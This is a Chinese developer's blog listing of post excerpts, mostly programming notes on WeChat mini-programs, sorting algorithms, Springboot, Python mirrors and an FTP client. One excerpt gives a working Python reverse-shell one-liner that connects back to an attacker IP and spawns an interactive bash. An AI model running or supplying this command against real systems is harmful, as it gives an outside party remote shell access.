- 博客(30)
- 收藏
- 关注
原创 遇到赛博幽灵了(不懂的就归为玄学!)有没有大佬能解答一下
中间做过多次测试,在去掉X>120的这一行的时候,数据可以正常传输保存。加上了之后,数据就被赛博幽灵吃掉了。十分平常的一个下午,业务使用系统过程种发现了自己导进去的数据不对劲,上报了这个bug。发现数据是在传输的时候丢失了。以下是后端debug的页面。一番激烈的测试之后。下面是前端传过来的值。
2024-07-24 17:44:43
70
原创 使用python反弹shell
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"使用python进行反弹shell,IP改成攻击机ip,端口随意,没有
2022-05-05 10:35:35
2963
原创 python导包国内镜像
方便查询名称地址清华大学https://pypi.tuna.tsinghua.edu.cn/simple阿里云http://mirrors.aliyun.com/pypi/simple/中国科技大学https://pypi.mirrors.ustc.edu.cn/simple/华中理工大学http://pypi.hustunique.com/山东理工大学http://pypi.sdutlinux.org/豆瓣http://pypi.douban
2022-04-13 11:22:21
780
原创 C++ 简单FTP客户端软件开发
题目简单FTP客户端软件开发(100分)网络环境中的一项基本应用就是将文件从一台计算机中复制到另一台可能相距很远的计算机中。而文件传送协议FTP是因特网上使用得最广泛的文件传送协议。FTP使用客户服务器方式。设计要求:1)以命令行形式运行2)该FTP客户端程序具有以下基本功能:能完成FTP链接的打开和关闭操作;能执行文件的上传和下载;能完成目录的创建、删除等有关操作。3)设计中加入新的功能:登录,进入上级或下级目录要求可以传输简单的文本文件。设计思路1、分为两个端口,指令交流端口,数据交换端
2022-03-14 23:03:19
4265
4
原创 数据库实验2
/*作业内容a. Give each manager of “Netease” a 10 percent raise unless the salary becomes greater than $100000; in such cases, give only a 3 percent raise.b. Delete all tuples in the works relation for employees of “Tensent”./show variables like ‘autocommi
2021-10-14 17:59:18
147
原创 Springboot
Springboot学习笔记框架搭建四层结构entity层:和 model bean层一样,存放的是实体类,属性值与数据库值保持一致,实现 setter 和 getter 方法。dao层:即 mapper层,对数据库进行持久化操作,他的方法使针对数据库操作的,基本上用的就是增删改查,他就是个接口,只有方法名,具体实现在mapper.xml中实现。service层:业务层,存放业务逻辑处理,不直接对数据库进行操作,有接口和接口实现类,提供 controller 层调用方法。controller层
2021-08-22 23:05:28
181
原创 python数据分析案例简单实战项目(二)--新冠疫情数据分析
项目背景2020 年 1 月新型冠状病毒(以下简称新冠)肺炎在极短时间内就在全球范围内大规模流行,据美国约翰斯·霍普金斯大学 11 月 8 日发布的新冠疫情最新统计数据显示,截至美国东部时间 11 月 8 日 11 时 24 分全球累计确诊人数超过 5000万,死亡人数超过125万。由于新冠病毒的传播速度快、致死率较高,世界卫生组织称新冠是百年一遇的人类公敌。自新冠肺炎爆发以来,面对社会对疫情信息的迫切需求,各级政府部门通过多种渠道及时发布第一手相关数据,许多组织和个人也迅速行动,利用多种分析手段为公众
2021-07-26 13:57:32
2643
原创 微信小程序订阅消息使用
微信小程序订阅消息使用官方文档连接本说明的使用场景例子为:用户在组队大厅发送招募信息,后台管理系统收到后对用户的信息进行审核,并将审核结果,通过消息推送发送给用户。逻辑步骤逻辑步骤0:等待用户点击触发需要发送消息的事件逻辑步骤1:向用户申请获得发送消息的权限逻辑步骤2:等待发送的触发行为逻辑步骤3:向特定用户发送消息操作步骤操作步骤1:在微信公众号平台获得合适的模板[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iB2lXYH9-1626177181725
2021-07-13 19:53:39
538
原创 python零碎笔记
python零碎笔记基本语法数据类型:Number {int, float, bool ,complex}StringListDictionary(字典)Sets(集合)Tuple(元组)List列表的推导式:b = [i for i in range(1,11)]#后面还可以加ifb = [i for i in range(1,11) if i%2==0]字符串三引号作为长短换行,可以用来作为注释,或者ctrl+?字符串分割:split返回的是列表的格式字典键-键值
2021-07-06 18:11:27
93
原创 使用Python+百度云文字识别达到pdf扫描版转文字的学习过程
2021/3/18新买了kindle想看pdf的书,但是只有扫描版,在kindle上看了个寂寞。于是将查了教程,将pdf转成合适的大小,放入kindle,是乱码的,因为扫描版是图片,转成mobi就会乱码。那么将pdf转成文字好了,顺便学一波python以后或许有用呢。—————————————————————————————————————————2021/3/19初定学习流程:一、查看python基本语法,语言格式还有关键字,看看有什么比较方便的。2、学习将图片转成文字python的文件
2021-03-19 10:32:17
514
原创 关于找到pycharm中jetbrains-agent更新的打开路径的方法
事情是这样的,一开始我想着直接在网上找破解版下载就好了,然后下载了一个破解版的pycharm,但是后面发现有学生版可以用,于时就向官网成功申请了一个学生账号,很开心,然后重新安装了一遍pycharm。但是问题出现了,这个东西打不开了。用cmd控制台打开这个pycharm,发现错误提示:也就是说,这里在打开pycharm之前,多了一个奇怪的路径,这个就是之前破解版使用的jetbrains-agent时留下的打开路径。一般来说,这些路径会在C盘user\用户名\文件夹里面,但是我却没有。翻了一堆博客,
2021-01-23 02:18:37
1751
原创 微信开发者工具和gitee合作开发版本管理
原来这个东西的设置就这么简单,还以为有多难啊以下内容分为空的gitee仓库,将微信开发这工具导入gitee和从gitee上扒下代码导入到空的本地项目中。1、创建gitee仓库直接在gitee上创建一个新的仓库就好了,新建,就一个空的。等着把代码从微信开发者工具导进去就好了2、开发者工具初始化本地仓库打开微信开发者工具想要共同开发的那个项目,点击版本管理,点击弹出的框中的确定,就可以初始化完毕了。3、连接gitee仓库和微信开发者工具点击微信开发这工具中的版本管理——>设置——>远
2020-07-26 00:57:53
2172
原创 axure设置滑动页面,实现上下拖动,便捷实现方式
1、先假设我们需要拖动的长条画面是这个丑丑的颜色条2、先要在最外面设置一个动态面板,作为拖动的外边框,再将丑丑的颜色长条也设置为动态面板。一共设置两个动态面板,并命好名,方便后序的辨认。这里我将里面的一层命名为second,外面命名为first,这两个动态面板的相对位置可以更加实际中的美观自行更改3、选中外面一层开始设置交互:添加了两个界限后,一个设置为顶部<=0,另一个需要打开函数设置界面设置函数。[[LVAR1.Height-LVAR2.Height]] //复制这个函数到函数
2020-07-18 20:59:38
6470
原创 小程序开发-图片上传到云存储
1、获取用户手机中的照片路径使用wx.chooseImage微信开发者文档中的介绍https://developers.weixin.qq.com/miniprogram/dev/api/media/image/wx.chooseImage.html下面是一个demo,其中success会返回本地图片的路径,此时已经可以用来做临时预览了,但是我们还要上传到云存储中,这样才算是更新图片成功。 wx.chooseImage({ count: 1, sizeType: ['com
2020-07-11 21:57:05
1363
原创 微信小程序开发-共享位置功能
1、设置是否开启位置共享开关使用微信自带的组件,switch开关:微信开发者文档中改开关的属性:https://developers.weixin.qq.com/miniprogram/dev/component/switch.html<view> <text>开启共享位置:</text> <switch checked="{{isLocation}}" bindchange="switchChange"/></view>2、
2020-07-11 14:20:08
4637
原创 小程序开发-用户对自己信息的更改
主要步骤:1、为输入个性签名设置输入框:将框中的值设为signatrue<input type="text" value="{{ signature }}" bindinput="handleText" />2、在js页面中编写处理函数。(1)在载入页面时进行初次渲染,app为全局变量,在页面开始时记得使用getApp()进行导入。onReady: function () { this.setData({ signature: app.userInfo.signa
2020-07-11 09:43:24
4888
1
原创 微信小程序开发-将数据写入全局数据
微信小程序的全局数据写在 app.js中,需要现在里面声明存储数据的变量如下://app.js this.globalData = {} this.userInfo = {}//这个是我们。等下要用到的变量// this.userMessage = []然后在需要使用以上声明的全局变量的时候声明一下:const app = getApp()//这个声明是为了后面调用的方便然后使用Object.assign()将数据拷贝到全局变量中。注:Object.assign()用于将所有
2020-07-10 09:02:59
2103
原创 ps +pxcook切图 后转移到 axure上 完整过程
1、打开ps这里面打开UI设计师发来的psd格式文件可能会出现两个错误提示.原因:版本过低,一些关键组件缺失,得安装最新版本得ps解决。这里如果不安装最新版本的话,直接按保留图层,即可,因为要切出图中的组件需要留下图层进行操作。打开之后如果发现没有确实什么关键内容,就可以继续进行之后的内容。这个是ps字体库中缺少设计师所使用的字体,但是如果只是图片的形式的话,该字体会以像素的形式保留下来。只有当需要对改字体内容进行修改时,ps才会再次提醒你将字体替换掉。解决方法1、什么都不用管,切就完事
2020-07-03 23:00:08
2440
原创 小程序开发-轮播图-swiper
微信开发者文档中的swiper实现代码:<view class="index"> <swiper class="index-swiper" indicator-dots="{{true}}" autoplay="{{true}}" circular="{{true}}" easing-function="{{easeInCubic}}"> <block wx:for="{{imgUrls}}" wx:key="index"> &l
2020-07-03 08:36:21
231
原创 微信小程序开发-tabBar
微信开发者文档中的介绍:https://developers.weixin.qq.com/miniprogram/dev/reference/configuration/app.html#tabBar微信小程序的tabBar支持以下样式的更换:1、字体颜色:color2、选中时字体颜色:selectedColor3、背景颜色:backgroundColor //不填的话背景颜色就是默认白色//4、上边框颜色:borderStyle //默认黑色//5、位置(上或下):position [t
2020-06-30 21:56:26
255
原创 微信小程序开发-引入在线图标库
以阿里巴巴图标库为例1、在自己的项目中找到改图标库的css在线代码2、将代码复制到小程序新建的wxss页面中3、在app.js中引入2中的页面:@import "style/iconfont/iconfont.wxss" //引入该文件的路径//4、在wxml中可以直接调用,调用的其实是该图标的样式,也就是给一个框架渲染上该图标的class:例如:<text class="iconfont iconshanchu"></text> //class为样式库中图标的名称
2020-06-30 21:24:28
858
原创 微信开发者工具中的setData的使用
介绍setData用与修改后台中的数据,将修改后的数据渲染到页面中,如果使用其他方法直接修改后台中变量存储的数据,修改的结果并不会反应到页面中,就会造成后台数据和页面数据不同步。基础用法js代码:Page({ /** * 页面的初始数据 */ data: { init:"初始化数据" }, change:function(){ this.setData({ init:"更改后数据" }) } })wxml代码:
2020-06-16 23:06:35
1023
原创 SCAU-8645归并排序(非递归算法)
Description用函数实现归并排序(非递归算法),并输出每趟排序的结果输入格式第一行:键盘输入待排序关键的个数n第二行:输入n个待排序关键字,用空格分隔数据输出格式每行输出每趟排序的结果,数据之间用一个空格分隔归并排序思想:将待排序的数组拆分成单个元素,再对每个单元进行两两合并,即将两个有序的单元合并成一个有序的单元,直到整个数组有序。注意在进行合并的时候数组可能会出现越界,所以在写代码的时候记得要考虑进来。我的代码创建了一个临时数组用来在和原数组之间反复跳转合并。比如说原来
2020-06-13 15:37:18
3188
原创 微信开发者文档 界面交互api调用测试
第一个wx.showModal(Object object)显示模态对话框modal:function(){ wx.showModal({ title: '提示', content: '这是一个模态弹窗', success (res) { if (res.confirm) { console.log('用户点击确定') } else if (res.cancel) { console.log('用户点击取消')
2020-06-12 23:40:24
312
原创 SCAU-8646基数排序(桶排序)C++
Description用函数实现基数排序,并输出每次分配收集后排序的结果输入格式第一行:键盘输入待排序关键的个数n第二行:输入n个待排序关键字,用空格分隔数据输出格式每行输出每趟每次分配收集后排序的结果,数据之间用一个空格分隔输入样例10278 109 063 930 589 184 505 069 008 083输出样例930 063 083 184 505 278 008 109 589 069505 008 109 930 063 069 278 083 184 589008
2020-06-12 17:07:28
1242
原创 SCAU-8644堆排序 C++
Description用函数实现堆排序,并输出每趟排序的结果输入格式第一行:键盘输入待排序关键的个数n第二行:输入n个待排序关键字,用空格分隔数据输出格式第一行:初始建堆后的结果其后各行输出交换堆顶元素并调整堆的结果,数据之间用一个空格分隔思路:构建堆和调整堆的方法相同。所以从输出格式来看,其实是将每一次调整堆之后的结果进行输出,排序完成之后再多调整一次堆(最后一次什么都没有调整到,只是方便写代码用来输出结果)即可。调整堆的方法:从最后一个非子叶的节点(在数组上表示为:i=len/2)
2020-06-12 16:41:47
703
原创 高级语言程序设计课设-学生证管理系统-华南农业大学
这是第一次写的博客,想着用博客来记录下自己码代码的历程,如果有什么不好的地方欢迎各位指正从2020.4.2到2020.4.23历时22天,算是把课设的内容完成了,后面还花费了一点时间增加了一点东西,算是给课设的一些加分项吧。加起来大概就是花费了一个月左右的时间完成这个课设。因为课设的代码量较大,所以就将代码文件全部放到GitHub上面了,如果有需要的话可以戳这里以下是正文内容。学生证管理系统问题描述:简单来说就是,使用C语言对一些特定的数据(学生证信息)实现增删改查+统计的功能。整体思路在
2020-06-10 20:56:08
1508
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人